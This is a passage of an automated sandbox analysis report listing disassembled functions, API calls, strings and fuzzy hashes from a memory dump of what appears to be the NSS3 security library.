9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAD3022, 6CAD3156, 6CAD3162, 6CAD318A, 6CAD3196, 6CAD31A2, 6CAD31AE, 6CAD31BA, 6CAD31C6
database corruption, xrefs: 6CAD316C

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 3cd062359d76660047040765ec0e87abfce05cc6f3466c722e179614cb0704ac
Instruction ID: 31e72b1be32b71991710be8911afba0d022d997703805e31f39ec06161323abb
Opcode Fuzzy Hash: 3cd062359d76660047040765ec0e87abfce05cc6f3466c722e179614cb0704ac
Instruction Fuzzy Hash: F5B1A070E062199BCF18CF9DC884AEEB7B1FF48304F158569E855B7B41D774A981CBA0

Function 6CB30F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB30F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB30F84

Part of subcall function 6CB8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC618D0,?), ref: 6CB8B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CB4F59B,6CC5890C,?), ref: 6CB30FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CB30FC1

Part of subcall function 6CB90BE0: malloc.MOZGLUE(6CB88D2D,?,00000000,?), ref: 6CB90BF8
Part of subcall function 6CB90BE0: TlsGetValue.KERNEL32(6CB88D2D,?,00000000,?), ref: 6CB90C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CB30FDB
PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CB30FEF
PL_FreeArenaPool.NSS3(?), ref: 6CB31001
PL_FinishArenaPool.NSS3(?), ref: 6CB31009

Strings

security, xrefs: 6CB30F5C

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 44d3561939b9395d4270c7746589c729259bae12c9aa604dcb81e9f8109a5642
Instruction ID: 1d4baf4e45988d5e427d8e0c24cf815b794f111dadffa89cafcfefb3ec6107f3
Opcode Fuzzy Hash: 44d3561939b9395d4270c7746589c729259bae12c9aa604dcb81e9f8109a5642
Instruction Fuzzy Hash: 732106B1904284ABE7009F25DC80AAFB7B8EF45658F148528FC5897701F731D559CBD2

Function 6CB36DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CB37D8F,6CB37D8F,?,?), ref: 6CB36DC8

Part of subcall function 6CB8FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CB8FE08
Part of subcall function 6CB8FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CB8FE1D
Part of subcall function 6CB8FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CB8FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CB37D8F,?,?), ref: 6CB36DD5

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC58FA0,00000000,?,?,?,?,6CB37D8F,?,?), ref: 6CB36DF7

Part of subcall function 6CB8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC618D0,?), ref: 6CB8B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB36E35

Part of subcall function 6CB8FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CB8FE29
Part of subcall function 6CB8FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CB8FE3D
Part of subcall function 6CB8FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CB8FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB36E4C

Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC58FE0,00000000), ref: 6CB36E82

Part of subcall function 6CB36AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CB3B21D,00000000,00000000,6CB3B219,?,6CB36BFB,00000000,?,00000000,00000000,?,?,?,6CB3B21D), ref: 6CB36B01
Part of subcall function 6CB36AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CB36B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CB36F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CB36F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC58FE0,00000000), ref: 6CB36F6B
PR_SetError.NSS3(FFFFE005,00000000,6CB37D8F,?,?), ref: 6CB36FE1

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 431ebbf6a94fcfca3024ae0f88f1507b66f9e26e9970c7f513dffc3eaacd8171
Instruction ID: 3e32b14621aeceffbac17d5ce8d327452813eddd0eaa84498702c389f4ac12e1
Opcode Fuzzy Hash: 431ebbf6a94fcfca3024ae0f88f1507b66f9e26e9970c7f513dffc3eaacd8171
Instruction Fuzzy Hash: 35718071D112969BDB00CF55CD40BAABBA8FF54308F155229E808DBB11F771E994CB91

Function 6CB70FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB71057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB71085
PK11_GetAllTokens.NSS3 ref: 6CB710B1
free.MOZGLUE(?), ref: 6CB71107
PR_SetError.NSS3(00000000,00000000), ref: 6CB71172
free.MOZGLUE(?), ref: 6CB71182
free.MOZGLUE(?), ref: 6CB711A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CB711C5

Part of subcall function 6CB752C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CB4EAC5,00000001), ref: 6CB752DF
Part of subcall function 6CB752C0: EnterCriticalSection.KERNEL32(?), ref: 6CB752F3
Part of subcall function 6CB752C0: PR_Unlock.NSS3(?), ref: 6CB75358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB711D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CB711F3

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: f6799a9a9f889f723cc887825ff279915a3177ce7a10137df8a89ac4190b4c4b
Instruction ID: 268b513aff0c0314fdb2cf0aa5fda9e95d03a0b590d59c90390f466fb3d7480c
Opcode Fuzzy Hash: f6799a9a9f889f723cc887825ff279915a3177ce7a10137df8a89ac4190b4c4b
Instruction Fuzzy Hash: 506181B0E012859BEB10DF64D895B9EB7B4EF08748F184128ED2DAB741E731E944CB72

Function 6CB7ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE10
EnterCriticalSection.KERNEL32(?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CB5D079,00000000,00000001), ref: 6CB7AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AE7F
TlsGetValue.KERNEL32(?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AEF1
free.MOZGLUE(6CB5CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB5CDBB,?), ref: 6CB7AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CB5CDBB,?,6CB5D079,00000000,00000001), ref: 6CB7AF30

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: dad8ce45a9d94236c0b95b929f67ab6dcac4d234bccdfe97def635672e0b6a19
Instruction ID: 743af6954f67733bba85e39fd9e013dbb6b88164458faa9920bf666f80891a3c
Opcode Fuzzy Hash: dad8ce45a9d94236c0b95b929f67ab6dcac4d234bccdfe97def635672e0b6a19
Instruction Fuzzy Hash: 80518DB1A01641EFDB50DF25D884A6AB7B4FF05318F145264DC299BA11E731F864CFE2

Function 6CB54CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CB5AB7F,?,00000000,?), ref: 6CB54CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CB5AB7F,?,00000000,?), ref: 6CB54CC8
TlsGetValue.KERNEL32(?,6CB5AB7F,?,00000000,?), ref: 6CB54CE0
EnterCriticalSection.KERNEL32(?,?,6CB5AB7F,?,00000000,?), ref: 6CB54CF4
PL_HashTableLookup.NSS3(?,?,?,6CB5AB7F,?,00000000,?), ref: 6CB54D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CB54D10

Part of subcall function 6CBDDD70: TlsGetValue.KERNEL32 ref: 6CBDDD8C
Part of subcall function 6CBDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBDDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CB54D26

Part of subcall function 6CBF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC40A27), ref: 6CBF9DC6
Part of subcall function 6CBF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC40A27), ref: 6CBF9DD1
Part of subcall function 6CBF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CB54D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CB54DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CB54E02

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 77326bac131c18d6f2625dd663037b50b4da332d0b09060b0bc9e7293634870e
Instruction ID: 50d179e15fdb51a57259033b0ee04d67b2e033337f92f9f5f9bace4cab84ce55
Opcode Fuzzy Hash: 77326bac131c18d6f2625dd663037b50b4da332d0b09060b0bc9e7293634870e
Instruction Fuzzy Hash: 5241A7B5E00195ABEB019F68EC4496A77B8EF05218F458170EC1987B55EB31ED38CBA2

Function 6CB32E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB32CDA,?,00000000), ref: 6CB32E1E

Part of subcall function 6CB8FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CB39003,?), ref: 6CB8FD91
Part of subcall function 6CB8FD80: PORT_Alloc_Util.NSS3(A4686CB9,?), ref: 6CB8FDA2
Part of subcall function 6CB8FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CB9,?,?), ref: 6CB8FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CB32E33

Part of subcall function 6CB8FD80: free.MOZGLUE(00000000,?,?), ref: 6CB8FDD1

TlsGetValue.KERNEL32 ref: 6CB32E4E
EnterCriticalSection.KERNEL32(?), ref: 6CB32E5E
PL_HashTableLookup.NSS3(?), ref: 6CB32E71
PL_HashTableRemove.NSS3(?), ref: 6CB32E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CB32E96
PR_Unlock.NSS3 ref: 6CB32EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB32EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB32EC5

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: e31e0fc55f957efe4fd5e9f00689baf78f362fb84d558e6a7f777d80a1b27627
Instruction ID: 7d519d6934e987935e8d581c332758381b6e71ebab5f93c742d85b24758e2a00
Opcode Fuzzy Hash: e31e0fc55f957efe4fd5e9f00689baf78f362fb84d558e6a7f777d80a1b27627
Instruction Fuzzy Hash: 0421F572A00160ABEF101E69ED0AAEB3B78DB5225DF040530ED1C82752FB32D569D6E2

Function 6CABCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CABB999), ref: 6CABCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CABB999), ref: 6CABD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CABB999), ref: 6CABD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CABB999), ref: 6CC0972B

Strings

%s at line %d of [%.10s], xrefs: 6CABCFEC, 6CABD018, 6CABD029, 6CABD03F, 6CC0978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CABCFDD, 6CABD00E, 6CABD022, 6CABD033, 6CC09780
database corruption, xrefs: 6CABCFE7, 6CABD013, 6CABD028, 6CABD039, 6CABD03E, 6CC09786

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: bb0ef06c772744c93520e862af26601fa0630fc032d903d13ede0d1715e89864
Instruction ID: d631822a1645a98f85a5b5f162e3dfdde608482e90243d193d5f7d43f4f2f5ec
Opcode Fuzzy Hash: bb0ef06c772744c93520e862af26601fa0630fc032d903d13ede0d1715e89864
Instruction Fuzzy Hash: CE612871A042109BD310CF2AC840BA7B7F5EF95319F1845ADE449ABB42E377D986C7A1

Function 6CBBEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CBDA4A1,?,00000000,?,00000001), ref: 6CBBEF6D

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

htonl.WSOCK32(00000000,?,6CBDA4A1,?,00000000,?,00000001), ref: 6CBBEFE4
htonl.WSOCK32(?,00000000,?,6CBDA4A1,?,00000000,?,00000001), ref: 6CBBEFF1
memcpy.VCRUNTIME140(?,?,6CBDA4A1,?,00000000,?,6CBDA4A1,?,00000000,?,00000001), ref: 6CBBF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CBDA4A1,?,00000000,?,00000001), ref: 6CBBF027

Strings

dtls13, xrefs: 6CBBEF33

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0ebefa309a4c46bdc3f6bd138181372dbc4371d654425f385782fbe742acc28f
Instruction ID: 262fcae0d42aaef8cae6d5a159df8fddcbe6dfc45abab91d55da04a3bf02bf14
Opcode Fuzzy Hash: 0ebefa309a4c46bdc3f6bd138181372dbc4371d654425f385782fbe742acc28f
Instruction Fuzzy Hash: 5D314A71A012509FDB00CF28CC40B9EB7E4EF49358F158069E818AB761EB31F915CBE1

Function 6CB3AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CB3AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CC59500,6CB33F91), ref: 6CB3AFD2

Part of subcall function 6CB8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC618D0,?), ref: 6CB8B095

DER_GetInteger_Util.NSS3(?), ref: 6CB3B007

Part of subcall function 6CB86A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CB31666,?,6CB3B00C,?), ref: 6CB86AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CB3B02F
PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CB3B046
PL_FreeArenaPool.NSS3 ref: 6CB3B058
PL_FinishArenaPool.NSS3 ref: 6CB3B060

Strings

security, xrefs: 6CB3AFB8

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: f704179e8ae8291f97b82bf536027a1acfd20d35366a6cdbd19de080c3b71e11
Instruction ID: 48ce49ed4c464641c7208bb1371438fb1967397f5a5a6026da59733e75250cfe
Opcode Fuzzy Hash: f704179e8ae8291f97b82bf536027a1acfd20d35366a6cdbd19de080c3b71e11
Instruction Fuzzy Hash: 793127714043809BDB108F24DC45BAA77B8EF8636CF100619E8BD9BBD5E7369149C79B

Function 6CB7CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CB7CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CB7CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CB7D079

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ff69d5b5a3935795b4fba5d07db57c609aa313d407e41b76e0a9b3f5a95170d8
Instruction ID: dd2e5cd0881464eaa9a31f323f410beb98ff51aeb55048311d7cd34862e32684
Opcode Fuzzy Hash: ff69d5b5a3935795b4fba5d07db57c609aa313d407e41b76e0a9b3f5a95170d8
Instruction Fuzzy Hash: 20C1AFB1A002599BDB20CF24DC84BDAB7B8FB48318F1441A8DD58A7741E771EE95CFA1

Function 6CA69D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA68273), ref: 6CA69D65
